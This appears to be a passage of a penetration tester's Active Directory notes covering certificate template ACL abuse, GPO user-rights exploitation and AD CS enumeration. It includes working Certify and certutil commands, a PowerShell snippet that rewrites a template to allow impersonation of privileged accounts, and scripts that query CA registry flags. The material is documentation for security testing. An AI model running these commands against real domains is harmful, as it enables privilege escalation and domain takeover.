| -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p><code>ExtendedRight</code> (<code>RIGHT\_DS\_CONTROL\_ACCESS</code>)'s <code>Certificate-Enrollment</code>.<br><br><code>Rights-GUID</code>: <code>0e10c968-78fb-11d2-90d4-00c04f79dc55</code>.</p>                                                                                                   | <p>Ability to enroll to the <code>certificate template</code> (manually request certificate(s) based on the template).<br><br>The <code>certificate template</code> must also be published in a <code>Certificate Authority</code> for which the user can enroll certificates.</p>                                                                                                                                                                                                 |
| <p><code>ExtendedRight</code> (<code>RIGHT\_DS\_CONTROL\_ACCESS</code>)'s <code>Certificate-AutoEnrollment</code>.<br><br><code>Rights-GUID</code>: <code>0e10c968-78fb-11d2-90d4-00c04f79dc55</code>.</p>                                                                                               | Ability to auto-enroll to the `certificate template` ([automated process to request certificates missing from the system local's certificate/key storage](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cersod/ec4bb597-9e73-4d2b-a768-621239e21fca)).                                                                                                                                                                                                           |
| <p><code>AllExtendedRights</code> (<code>RIGHT\_DS\_CONTROL\_ACCESS</code>).<br><br><code>ActiveDirectoryRights</code>: <code>ExtendedRight</code> and <code>Rights-GUID</code> undefined (if retrieved using <code>PowerView</code>) or equal to <code>00000000-0000-0000-0000-000000000000</code>.</p> | All extended rights, including the `Certificate-Enrollment` and `Certificate-AutoEnrollment` rights.                                                                                                                                                                                                                                                                                                                                                                               |
| <p><code>WriteProperty</code> (<code>RIGHT\_DS\_WRITE\_PROPERTY</code>) to <code>msPKI-Certificate-Name-Flag</code>.<br><br><code>Rights-GUID</code>: <code>ea1dddc4-60ff-416e-8cc0-17cee534bce7</code>.</p>                                                                                             | <p>Ability to write the <code>msPKI-Certificate-Name-Flag</code> attribute of the <code>certificate template</code>, allowing to set the template to build the subject information from user-supplied input (<code>CT\_FLAG\_ENROLLEE\_SUPPLIES\_SUBJECT</code> flag).<br><br>Can be leveraged for privilege escalation if the <code>certificate template</code> can be used for client authentication and oneself can enroll to it.</p>                                           |
| <p><code>WriteProperty</code> (<code>RIGHT\_DS\_WRITE\_PROPERTY</code>) to <code>msPKI-Certificate-Application-Policy</code>.<br><br><code>Rights-GUID</code>: <code>dbd90548-aa37-4202-9966-8c537ba5ce32</code>.</p>                                                                                    | Ability to write the `msPKI-Certificate-Application-Policy` attribute of the `certificate template`, thus allowing to add support for client authentication in the template.                                                                                                                                                                                                                                                                                                       |
| <p><code>WriteProperty</code> (<code>RIGHT\_DS\_WRITE\_PROPERTY</code>) to <code>msPKI-Enrollment-Flag</code>.<br><br><code>Rights-GUID</code>: <code>d15ef7d8-f226-46db-ae79-b34e560bd12c</code>.</p>                                                                                                   | Ability to write the `msPKI-Enrollment-Flag` attribute of the `certificate template`, thus allowing to disable the need for approval of a CA manager certificate to validate the certificate request (`CT_FLAG_PEND_ALL_REQUESTS` flag).                                                                                                                                                                                                                                           |
| <p><code>WriteProperty</code> (<code>RIGHT\_DS\_WRITE\_PROPERTY</code>) to <code>all properties</code>.<br><br><code>Rights-GUID</code> undefined (if retrieved using <code>PowerView</code>) or equal to <code>00000000-0000-0000-0000-000000000000</code>.</p>                                         | <p>Ability to modify all the attributes of the <code>certificate template</code>, including the ones mentioned above.<br><br>Cannot be used to give oneself enrollment right to the <code>certificate template</code> (as enrollment is restricted through the <code>ACL</code> on the template object and not the attributes of the template). If the <code>WriteProperty</code> applies to an enrollable certificate template, privilege escalation can however be achieved.</p> |
| `WriteOwner`.                                                                                                                                                                                                                                                                                            | <p>Ability to change the owner of the <code>certificate template</code>, thus granting complete control over the template and notably the ability to edit it and give oneself enrollment rights.<br><br>This right is assigned when delegating the permission <code>Write</code> through the <code>Certificate Templates</code> snap-in.</p>                                                                                                                                       |
| `WriteDacl`.                                                                                                                                                                                                                                                                                             | <p>Ability to change the <code>DACL</code> of the <code>certificate template</code>, thus granting complete control over the template and notably the ability to edit it and give oneself enrollment rights.<br><br>This right is assigned when delegating the permission <code>Write</code> through the <code>Certificate Templates</code> snap-in.</p>                                                                                                                           |
| `GenericAll` (`RIGHT_GENERIC_ALL`).                                                                                                                                                                                                                                                                      | Full control on the `certificate template`, including the ability to modify all the parameters / attributes of the template and enroll to the template.                                                                                                                                                                                                                                                                                                                            |

**Certificate templates - ACL enumeration**

[`Certify`](https://github.com/GhostPack/Certify) and the `PowerShell` `Get-Acl` cmdlet (if the `Remote Server Administration Tools (RSAT)` are installed) can be used to enumerate the `ACL` of the `certificate templates`. `Certify` presents the advantage of retrieving additional information on the `certificate templates`: validity period, `msPKI-Certificates-Name-Flag` attribute, `Extended / Enhanced Key Usage (EKU)` extension, etc.

```bash
# Enumerates the certificate templates exploitable under the current user security context.
Certify.exe find [/ca:<HOSTNAME>\<CA_NAME> | /domain:<DOMAIN> | /path:CN=Configuration,<DOMAIN_ROOT_OBJECT>] /vulnerable /currentuser

# Enumerates the certificate templates exploitable by default low-privileged groups (Domain Users, Domain Computers, Everyone, etc.).
Certify.exe find [/ca:<HOSTNAME>\<CA_NAME> | /domain:<DOMAIN> | /path:CN=Configuration,<DOMAIN_ROOT_OBJECT>] /vulnerable

# Enumerates all rights of all certificate templates.
Certify.exe find [/ca:<HOSTNAME>\<CA_NAME> | /domain:<DOMAIN> | /path:CN=Configuration,<DOMAIN_ROOT_OBJECT>] /showAllPermissions [/json /outfile:<OUTPUT_FILE>]
```

Refer to the `Enumeration of DACL` section above for cmdlets and code snippets to conduct `ACL` enumeration trough PowerShell.

**Certificate templates - Certificate-Enrollment / Certificate-AutoEnrollment**

Refer to the `[ActiveDirectory] Certificate Services` for more information on how to enumerate and request certificates from enrollable `certificate templates`.

**Certificate templates - WriteOwner / WriteDACL**

Refer to the `User / group - WriteOwner` and `User / group - WriteDACL` sections above for general techniques and tools to exploit the `WriteOwner` and `WriteDACL` rights.

The modifications of the `ACL` can also be done through the `Microsoft Management Console (MMC)`'s `ADSI Edit (adsiedit.msc)` snap-in (among others):

```
mmc.exe -> Add/Remove Snap-in (Ctrl + M) -> Selection of "ADSI Edit"
  -> Connect to... -> Select a well known Naming Context: Configuration -> Ok.
  -> Configuration [<DOMAIN>] -> Go to `CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,<DOMAIN_ROOT>`.
     -> Right click on the editable `certificate template` -> Properties -> Security tab to edit the access control rights.
```

**Certificate templates - GenericAll / WriteProperty to all properties / WriteProperty to msPKI-Certificate-Name-Flag + msPKI-Certificate-Application-Policy (+ msPKI-Enrollment-Flag)**

The [following PowerShell code snippet](https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/#section-3-6) leverage cmdlets of the `ActiveDirectory` module to make an editable `certificate template` vulnerable for privilege escalation purposes. The `certificate template` is modified to use an user-supplied `Subject Name` and allow for client authentication. The eventual approval of the request by a certificate manager can be optionally disabled.

```bash
$certificateDN = "<CERTIFICATE_TEMPLATE_DN>"
$certificateAttr = Get-AdObject $certificateDN -Properties msPKI-Enrollment-Flag,msPKI-Certificate-Application-Policy
$newAttr = @{}

# Sets the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT in the msPKI-Certificate-Name-Flag attribute so that the subject information is user-supplied.
$newAttr['msPKI-Certificate-Name-Flag'] = '1'

# Adds the clientAuth Enhanced Key Usage to the msPKI-Certificate-Application-Policy attribute so the issued certificate can be used for client authentication.
$certificateAttrAppPolicy = $certificateAttr."msPKI-Certificate-Application-Policy"
If (!$certificateAttrAppPolicy.Contains('1.3.6.1.5.5.7.3.2')) {
  $newAttr['msPKI-Certificate-Application-Policy'] = $certificateAttrAppPolicy.Add('1.3.6.1.5.5.7.3.2')
}

# If necessary, disables the CT_FLAG_PEND_ALL_REQUESTS flag (CA manager certificate request approval) in the msPKI-Enrollment-Flag attribute.
$newAttr['msPKI-Enrollment-Flag'] = $certificateAttr."msPKI-Enrollment-Flag" -band -bnot 2

# Set the new attributes on the certificate template.
Set-AdObject $certificateDN -Replace $newAttr
```

The modifications done by the code above can also be done manually through the `Microsoft Management Console (MMC)`'s `Certificate Templates (certtmpl.msc)` snap-in (on a machine joined to the target domain):

```
mmc.exe -> Add/Remove Snap-in (Ctrl + M) -> Selection of "Certificate Templates"
  -> Right click on the editable `certificate template` -> Properties
     -> Subject Name tab -> Check "Supply in the request"
     -> Extensions tab -> Edit "Application Policies" -> Add "Client Authentication"
     -> Issuance Requirements tab -> Uncheck "CA certificate manager approval"
```

***

### References

<https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists>

<https://www.specterops.io/assets/resources/an\\_ace\\_up\\_the\\_sleeve.pdf>

<https://wald0.com/?p=112>

<https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/>

<https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces>

<https://www.ssi.gouv.fr/uploads/IMG/pdf/Audit\\_des\\_permissions\\_en\\_environnement\\_Active\\_Directory\\_article.pdf>

<https://www.blackhat.com/docs/us-17/wednesday/us-17-Robbins-An-ACE-Up-The-Sleeve-Designing-Active-Directory-DACL-Backdoors-wp.pdf>

<https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/>

<https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/>

<https://github.com/gdedrouas/Exchange-AD-Privesc>

<https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html>

<https://www.microsoft.com/en-us/download/details.aspx?id=46899>

<https://blog.stealthbits.com/running-laps-in-the-race-to-security/>

<https://github.com/leoloobeek/LAPSToolkit>

<https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab>

<https://www.rfc-archive.org/getrfc.php?rfc=4556>

<https://web.mit.edu/kerberos/krb5-1.12/doc/admin/pkinit.html>

<https://docs.microsoft.com/fr-fr/archive/blogs/openspecification/how-kerberos-user-to-user-authentication-works>


# Exploitation - GPO users rights

### Overview

GPO can be used to assign `users rights` on the computer objects they are applied to.

User rights fall into two general categories:

* `logon rights` which gives the rights to logon to the specified user and define the logon type.
* `privileges` that define a number of specific privileges on the computer object.

The `user rights` that can be used to gain access and/or compromise the computer objects they are applied to are detailed below. Reviewing these user rights can lead to more vectors of credentials re-use, notably if user rights are defined for one of the following group:

* `Everyone`, SID: `S-1-1-0`
* `Anonymous`, SID: `S-1-5-7`
* `Authenticated Users`, SID: `S-1-5-11`
* `Users`, SID: `S-1-5-32-545`
* `Domain Users`, SID: `S-1-5-<DOMAIN>-513`
* `Domain Computers`, SID: `S-1-5-<DOMAIN>-515`

### Find user rights assignments in GPO

**Resultant Set of Policy**

The Windows `gpresult` built-in utility can be used to compute the `Resultant Set of Policy (RSoP)` for the current, or specified user, on the local or a remote system. It can generate an `HTLM` report referencing the parameters effectively applied by `GPO` on the system.

The `users rights` assigned can be found in `Computer Details -> Windows Setting -> Local Policies/User Rights Assignment`.

```
# Generates the RSoP for the current user on the local system.
gpresult /H <REPORT_HTML>

# Generates the RSoP for the specified user on the local system.
gpresult /user <DOMAIN>\<USERNAME> /H <REPORT_HTML>

# Generates the RSoP for the current or specified user on the remote system (using the eventual given credentials).
gpresult [/u <RUN_AS_USER> /p <RUN_AS_USER_PASSWORD>] /s <HOSTNAME | IP> [/user <DOMAIN>\<USERNAME>] /H <REPORT_HTML>
```

**Domain wide enumeration**

The `Grouper2` C# application and `PingCastle`'s `healthcheck` can be used to enumerate user rights definition in the most sensible GPO.

```
Grouper2.exe -g -f <OUTPUT_HTML_FILE>
Grouper2.exe -d "<DOMAIN>" -u "<USERNAME>" -p "<PASSWORD>" -s "\\<DC_HOSTNAME | DC_IP>\SYSVOL" -g -f <OUTPUT_HTML_FILE>
```

All the GPOs in the domain can also be exported in an `HTML` or `XML` report using the PowerShell `GroupPolicy` module's `Get-GPOReport` cmdlet:

```
# Export all the GPO in the specified domain using the current security context.
# runas /Netonly should be used for enumeration from a non-domain joined computer.

Get-GPOReport -All -ReportType <HTML | XML> [-Domain <DOMAIN>] [-Server <DC_HOSTNAME | DC_IP>] -Path <OUTPUT_FILE_PATH>
```

A more manual search in all accessible GPO from the given privileges can be conducted directly in PowerShell:

```
# Conducting the search either from the current user context or using the specified credential
net use Z: \\<DC_HOSTNAME | DC_IP>\SYSVOL
net use Z: \\<DC_HOSTNAME | DC_IP>\SYSVOL <PASSWORD> /user:<DOMAIN>\<USERNAME>
Get-ChildItem -Path Z:\ -Recurse -Force | Select-String SeInteractiveLogonRight,SeRemoteInteractiveLogonRight,SeImpersonatePrivilege,SeAssignPrimaryPrivilege,SeTcbPrivilege,SeBackupPrivilege,SeRestorePrivilege,SeCreateTokenPrivilege,SeLoadDriverPrivilege,SeTakeOwnershipPrivilege,SeDebugPrivilege
net use Z: /delete
```

`PowerView` can be used to find where exploitable GPO are linked and **possibly** applied. Note: GPO can be linked to an OU but not necessarily applied, as an OU can `blocks inheritance` on an not `enforced` GPO or a conflicting GPO with a higher precedence order may supplant the exploitable GPO.

```
Get-DomainOU -GPLink "<GPO_GUID>" | ForEach-Object {
    Get-DomainComputer -SearchBase "LDAP://$($_.distinguishedname)" | Ft Name
}
```

### User rights exploitation

**Logon rights**

The following logon rights can be defined to allow an user to logon onto the computer:

| Right                           | Description                                      | Exploitation technique                     |
| ------------------------------- | ------------------------------------------------ | ------------------------------------------ |
| `SeInteractiveLogonRight`       | Allows a user to connect locally on the computer | Require a physical access to the computer. |
| `SeRemoteInteractiveLogonRight` | Allow logon through Terminal Services            | Interactive logon using a RDP client.      |

Note that the `SeNetworkLogonRight` allows a user to access the exposed shares on the computer (under restrictions of the shares and NTFS permissions) but is not sufficient by itself to remotely execute commands.

The `SeServiceLogonRight` is not directly exploitable neither as only users with administrative privileges can install and configure services.

The `SeBatchLogonRight` alone can not be used to remotely create and run scheduled tasks.

**Privileges**

The following privilege tokens can be used to locally elevate privileges to `NT AUTHORITY\SYSTEM`:

* `SeImpersonatePrivilege`
* `SeAssignPrimaryPrivilege`
* `SeTcbPrivilege`
* `SeBackupPrivilege`
* `SeRestorePrivilege`
* `SeCreateTokenPrivilege`
* `SeLoadDriverPrivilege`
* `SeTakeOwnershipPrivilege`

The `SeDebugPrivilege` privilege can be used as well to directly dump the `LSASS` process.

Note that the exploitation of those privilege tokens Refer to the `[Windows] Local privilege escalation` for more information on how to exploit those privilege tokens.

***

### References

<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-xp/bb457125(v=technet.10)?redirectedfrom=MSDN>

<https://adsecurity.org/?p=3658>

<https://wald0.com/?p=179>

<https://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/>

<https://www.ssi.gouv.fr/uploads/IMG/pdf/Lucas\\_Bouillot\\_et\\_Emmanuel\\_Gras\\_-\\_Chemins\\_de\\_controle\\_Active\\_Directory.pdf>

<https://labs.f-secure.com/tools/sharpgpoabuse>

<https://blogs.technet.microsoft.com/musings\\_of\\_a\\_technical\\_tam/2012/02/15/group-policy-basics-part-2-understanding-which-gpos-to-apply/>


# Exploitation - Active Directory Certificate Services

### Overview

**Active Directory: Public Key Services containers**

A number of Active Directory objects, stored in the `Configuration` naming context, are related to `Active Directory Certificate Services` (and potentially third-party `Certification Authority`). As any objects stored in the `Configuration` naming context, the objects are replicated on all the Domain Controllers forest-wide.

| Name                    | Path                                                                                                | Description                                                                                                                                                                          |
| ----------------------- | --------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `NTAuthCertificates`    | `CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,<DOMAIN>`                | The `NTAuthCertificates` store, also known as the `Enterprise NTAuth store` store, hold the certificate of the trusted `Certificate Authorities` (in the `cACertificate` attribute). |
| `Enrollment Services`   | `CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,<DOMAIN>`               |                                                                                                                                                                                      |
| `Certificate Authority` | `CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,<DOMAIN>`         |                                                                                                                                                                                      |
| `Certificate Templates` | `CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,<DOMAIN>`             | Container holding the `certificate templates` defined in the domain, whether they are enabled in a `Certificate Authority` or not.                                                   |
| `CDP`                   | `CN=<CA_NAME>,CN=<ADCS_SERVER>,CN=CDP,CN=Public Key Services,CN=Services,CN=Configuration,<DOMAIN>` | Container storing the `Certificate Revocation Lists (CRL)`, with one separate container per `CA` and each `CA` thus having its own `CRL`.                                            |

**Certificate template**

`Certificate templates` are domain objects of type `pKICertificateTemplate`, stored under the `CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<TLD>` container, that govern the certificates that can be requested to and delivered by the `Active Directory Certificate Services (AD CS)`.

A `certificate template` notably defines a number of parameters for the certificates issued through the template:

* The way the `Subject Name` and `Subject Alternative Name (Subject Alternative Name)` of the certificates will be constructed. The subject information can be either build:
  * automatically based on `Active Directory` information of the principal making the request (`User Principal Name (UPN)`, `Service Principal Name (SPN)`, `DNS` name, etc.).
  * using user-supplied data provided in the certificate request. In such case, the `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` (`0x1`) in the `msPKI-Certificate-Name-Flag` attribute is set (and the attribute thus has an odd value).
* The issued certificates validity period.
* The cryptographic parameters of the certificates (the `Cryptographic Services Provider (CSP)` and the minimum key size used for instance).
* The `X509v3` extensions added to the certificates, including the `Extended / Enhanced Key Usage (EKU)` extension (introduced in more details below). The extensions define the purpose of the certificates.
* Eventual issuance requirements:
  * Approval of a certificate manager to validate (or deny) the certificate request. This setting will set the `CT_FLAG_PEND_ALL_REQUESTS` (`0x02)` flag in the certificate template `msPKI-Enrollment-Flag` attribute. Certificate requests will be keep in a pending state, awaiting for action of the certificate manager.

Additionally, `certificate templates` are `securable objects`, and the access control rights defined in a `certificate template`'s `Access Control List (ACL)` govern the operations that can be conducted on the template itself and the principals that can enroll to the template. Refer to the `[Active Directory] ACL exploiting - Active Directory Certificate Services` note for more information on the `certificate templates` `ACL`.

**Extended / Enhanced Key Usage extension**

The `Extended / Enhanced Key Usage (EKU)` extension is a certificate extension (i.e an additional attribute) that defines the purposes of the certificate, effectively restricting what the certificate can be used for in an Active Directory environment. This extension is implemented by the `pKIExtendedKeyUsage` attribute on Active Directory certificate template object.

The `EKU` extension is composed of 0 or more `Object Identifier (OID)`, each `OID` corresponding to a specific purpose. The following notable `OIDs` are supported in Active Directory:

| OID                                                                                                       | Name / Description                                                                       | Usage                                                                                                                                                         | Allow AD authentication |
| --------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------- |
| `2.5.29.37.0`                                                                                             | `anyExtendedKeyUsage`                                                                    | Certificate that can be used for any usage.                                                                                                                   | Yes.                    |
| `1.3.6.1.5.5.7.3.2`                                                                                       | `clientAuth`                                                                             | Certificate used for client authentication (be it `SSL` / `TLS` authentication for web client or to remote servers in Active Directory).                      | Yes.                    |
| `1.3.6.1.5.5.7.3.3`                                                                                       | `codeSigning`                                                                            | Code signing certificate used to digitally sign executables (such as `PE` binaries or PowerShell scripts).                                                    | No.                     |
| `1.3.6.1.5.5.7.3.4`                                                                                       | `emailProtection`                                                                        | Certificate used to encrypt or digitally sign emails through the `S/MIME` standard.                                                                           | No.                     |
| <p><code>1.3.6.1.5.5.7.3.5</code><br><code>1.3.6.1.5.5.7.3.6</code><br><code>1.3.6.1.5.5.7.3.7</code></p> | <p><code>ipsecEndSystem</code><br><code>ipsecTunnel</code><br><code>ipsecUser</code></p> | Certificates used in an Internet Protocol SECurity (IPSEC) infrastructure.                                                                                    | No.                     |
| `1.3.6.1.5.2.3.4`                                                                                         | `keyPurposeClientAuth`                                                                   | Certificate used in Active Directory for PKINIT client authentication (not present by default and requires to be manually added in the certificate template). | Yes.                    |
| `1.3.6.1.4.1.311.10.3.4`                                                                                  | `msEFS`                                                                                  | Certificate used to encrypt / decrypt `Encrypting File System (EFS)` `NTFS` filesystems on Windows.                                                           | No.                     |
| `1.3.6.1.5.5.7.3.1`                                                                                       | `serverAuth`                                                                             | Certificate used for server authentication (for instance using the `SSL` / `TLS` protocol).                                                                   | No.                     |
| `1.3.6.1.4.1.311.20.2.2`                                                                                  | `Smartcard logon`                                                                        | Certificate used for smart card logon.                                                                                                                        | Yes.                    |

**If no `OID` is specified in the `EKU` extension, the certificate will by default be valid for all usages in Windows, including client authentication**. Applications may however rely on the `Constrained` `EKU` validation mode, as implemented by Microsoft, which determine the valid usage of the certificate using only the explicitly specified purposes (in all the certificate of the chain).

**Arbitrary / user-controlled Subject Alternative Name**

As specified in the certificate processing logic in the [Microsoft documentation](https://docs.microsoft.com/en-us/windows/security/identity-protection/smart-cards/smart-card-certificate-requirements-and-enumeration#client-certificate-requirements-and-mappings), if an `User Principal Name (UPN)` is specified in a certificate's `subjectAltName` field, the `UPN` is used to map the certificate to an user account in Active Directory and conduct the `PKINIT` authentication as that user. Having control on the `Subject Alternative Name` for which the certificate will be emitted can thus be leveraged for privilege escalation, notably if the `certificate template` supports client authentication (and can be requested under the current privileges). For example, in such circumstances, an unprivileged user could request a certificate specifying a more privileged principal, such as the domain `Administrator` account or a member of the `Domain Admins` group, and later use the certificate to authenticate under the impersonated principal.

The `Subject Alternative Name` for which the certificate will be emitted is user-controlled if either:

* The specific `certificate template` is configured to use user-supplied data provided in the certificate request to define the `subjectAltName` (i.e, as noted above, the template `msPKI-Certificate-Name-Flag` attribute's `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` (`0x1`) flag is set).
* A `Certificate Authority` server has, in its `HKEY_LOCAL_MACHINE` registry hive, the `EDITF_ATTRIBUTESUBJECTALTNAME2` (`0x00040000`) flag set. As stated in the [Microsoft documentation](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn786426\(v=ws.11\)#controlling-user-added-subject-alternative-names), if this flag is set, user-supplied alternative names are allowed for any `certificate template` published by the given `Certificate Authority` server.

  ```
  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags
  ```

**Enrollment rights**

To enroll for a `certificate template`, the following conditions must be meet:

* The `certificate template` must be published by at least one `Certificate Authority`. The `certificate templates` published by a given `CA` are defined in the `certificateTemplates` attribute of the `CA`'s `Enrollment Service` (`pKIEnrollmentService`) object.
* The given principal must be able to enroll to a `CA` publishing the `certificate template` (`Certificate-Enrollment` or `Certificate-AutoEnrollment` extended rights).
* The given principal must have enrollment rights for the `certificate template`. The enrollment rights are defined on the `certificate template` object's `ACL` (notably the `Certificate-Enrollment` or `Certificate-AutoEnrollment` rights).

### Certificate Authorities enumeration

The `certutil` built-in utility and [`Certify`](https://github.com/GhostPack/Certify) can be used to enumerate the `Certification Authorities` configured.

```bash
# Returns information about each CA, including the published certificate templates and access rights.
certutil -adca

# Returns information similar to "certutil -adca" with the addition of attempting to check if the EDITF_ATTRIBUTESUBJECTALTNAME2 flag is set.
Certify.exe cas [/ca:<HOSTNAME>\<CA_NAME> | /domain:<DOMAIN> | /path:CN=Configuration,<DOMAIN_ROOT_OBJECT>]
```

The `certutil` utility and `Certify` as well as direct remote registry queries can be attempted to determine if the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag is set for a given `CA`. The request can usually be done under an authenticated but unprivileged context.

```bash
# Retrieves and parses the EditFlags key value to display the flags set.
certutil -config "<CA_SERVER_HOSTNAME | CA_SERVER_IP>\<CA_NAME>" -getreg "policy\EditFlags"

# Retrieves the raw value of the EditFlags registry key.
REG QUERY \\<CA_SERVER_HOSTNAME | CA_SERVER_IP>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags

$CA_SERVER = "<CA_SERVER_HOSTNAME | CA_SERVER_IP>"
$CA_NAME = "<CA_NAME>"
$CAHKLM = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine', $CA_SERVER)
$CAPolicyRegistryKey = $CAHKLM.opensubkey("SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\$($CA_NAME)\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
$CAPolicyRegistryKey.getvalue("EditFlags")
```

The following PowerShell script uses the `ActiveDirectory` module to enumerate each `CA`'s published `certificate templates` and enrollment rights. An attempt is made to determine if the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag is set for each `CA` by remotely querying their `HKLM` registry hive.

```bash
Import-Module ActiveDirectory

$DomainRoot = "<DOMAIN_ROOT_OBJECT>"

# To set to custom drive letter (i.e != AD) for execution on non domain-joined machine.
$ADDrive = "ADX"

# For execution on non domain-joined machine, sets default parameters for all ActiveDirectory cmdlets.
<#
$DC = '<DC_IP>'
$PSCredential = Get-Credential
$PSDefaultParameterValues = @{"*-AD*:Server"=$DC}
$PSDefaultParameterValues = @{"*-AD*:Credential"=$PSCredential}
New-PSDrive -Name $ADDrive -PSProvider ActiveDirectory -Root "//RootDSE/" -Server $DC -Credential $PSCredential
#>

$PrivilegedPrincipalsRegex = [string]::Join('|', @('Domain Admins', 'Enterprise Admins', 'Domain Controllers'))
$UnprivilegedPrincipalsRegex = [string]::Join('|', @('Domain Users', 'Everyone', 'Domain Computers', 'Authenticated Users', 'Anonymous', 'Users'))

Get-ChildItem "${ADDrive}:\CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,$DomainRoot" | ForEach-Object {
  $CA = Get-ADObject "$_" -Properties *

  Write-Host -ForegroundColor DarkGreen -BackgroundColor White "CA:" $CA.Name "`n"

  # Enumerates published certificate templates.
  Write-Host -ForegroundColor Cyan "Published certificate templates:`n"
  $CA.certificateTemplates
  Write-Host "`n"

  # Attempts to remotely query the registry of the CA server (HKLM hive) to determine if the EDITF_ATTRIBUTESUBJECTALTNAME2 flag is set.
  Write-Host -ForegroundColor Cyan -NoNewline "EDITF_ATTRIBUTESUBJECTALTNAME2 flag set: "
  $CAPolicyRegistryKeyPath = "SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\$($CA.Name)\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy"
  $CAPolicyRegistryValueName = "EditFlags"
  $CAHKLM = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine', $CA.dNSHostName)
  $CAPolicyRegistryKey = $CAHKLM.opensubkey($CAPolicyRegistryKeyPath)
  $CAPolicyRegistryValue = $CAPolicyRegistryKey.getvalue($CAPolicyRegistryValueName)
  If (($CAPolicyRegistryValue -band 0x00040000) -ne '0') { Write-Host -NoNewline -ForegroundColor Green "YES" }
  Else { Write-Host -NoNewline -ForegroundColor Red "NO" }
  Write-Host -NoNewline " (EditFlags = $($CAPolicyRegistryValue))"
  Write-Host "`n"

  # Enumerates the enrollment rights define on the CA.
  Write-Host -ForegroundColor Cyan "Enrollment rights:`n"
  Get-Acl "${ADDrive}:\$_" | Select-Object -ExpandProperty Access |
  Where-Object {(
  $_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner'`
  -or ($_.ActiveDirectoryRights -match 'ExtendedRight' -and $_.ObjectType -match '00000000-0000-0000-0000-000000000000|0e10c968-78fb-11d2-90d4-00c04f79dc55|a05b8cc2-17bc-4802-a710-e7c15ab866a2')`
  -and $_.AccessControlType -eq "Allow" -and $_.PropagationFlags -ne "InheritOnly")} | ForEach-Object {
    If ($_.IdentityReference -match $UnprivilegedPrincipalsRegex) {
      Write-Host -ForegroundColor Green $_.IdentityReference
      $anyoneCanEnroll = $True
    }
    ElseIf ($_.IdentityReference -match $PrivilegedPrincipalsRegex) {
      Write-Host -ForegroundColor Red $_.IdentityReference
    }
    Else { Write-Host -ForegroundColor Yellow $_.IdentityReference }
    $_
    Write-Host "`n"
  }
}
```

### Certificate templates enumeration

Multiple tools and utilities, including `certutil`, [`Certify`](https://github.com/GhostPack/Certify), [`Invoke-Leghorn`](https://github.com/RemiEscourrou/Invoke-Leghorn/), and [`Certipy`](https://github.com/ly4k/Certipy) can be used to enumerate the `certificate templates`. `PingCastle`'s `healthcheck` module also includes a review of the `certificate templates`.

For the enumeration (and exploitation) of the access rights defined on `certificate templates`, refer to the `[ActiveDirectory] ACL exploiting - Active Directory Certificate Services` note.

```bash
# Enumerates the enabled certificate templates and returns whether enrollment is possible under the current security context.
certutil -CATemplates

# Enumerates, among other information, the certificate templates (and their purposes) published by each CA.
certutil -cainfo *

# Returns the CA(s) publishing the specified certificate template.
certutil -templatecas <CERTIFICATE_TEMPLATE_NAME>

# Enumerates all enabled (i.e template supported by a CA) certificate templates.
# /clientauth: limit the enumeration to certificate templates that can be used for client authentication.
# /enrolleeSuppliesSubject: limit the enumeration to certificate templates where the subjectAltName is user-supplied (ENROLLEE_SUPPLIES_SUBJECT set).
Certify.exe find [/clientauth] [/enrolleeSuppliesSubject] [/ca:<HOSTNAME>\<CA_NAME> | /domain:<DOMAIN> | /path:CN=Configuration,<DOMAIN_ROOT_OBJECT>]

# Enumerates the certificate templates exploitable under the current user security context.
Certify.exe find [/ca:<HOSTNAME>\<CA_NAME> | /domain:<DOMAIN> | /path:CN=Configuration,<DOMAIN_ROOT_OBJECT>] /vulnerable /currentuser

# Enumerates the certificate templates exploitable by default low-privileged groups (Domain Users, Domain Computers, Everyone, etc.).
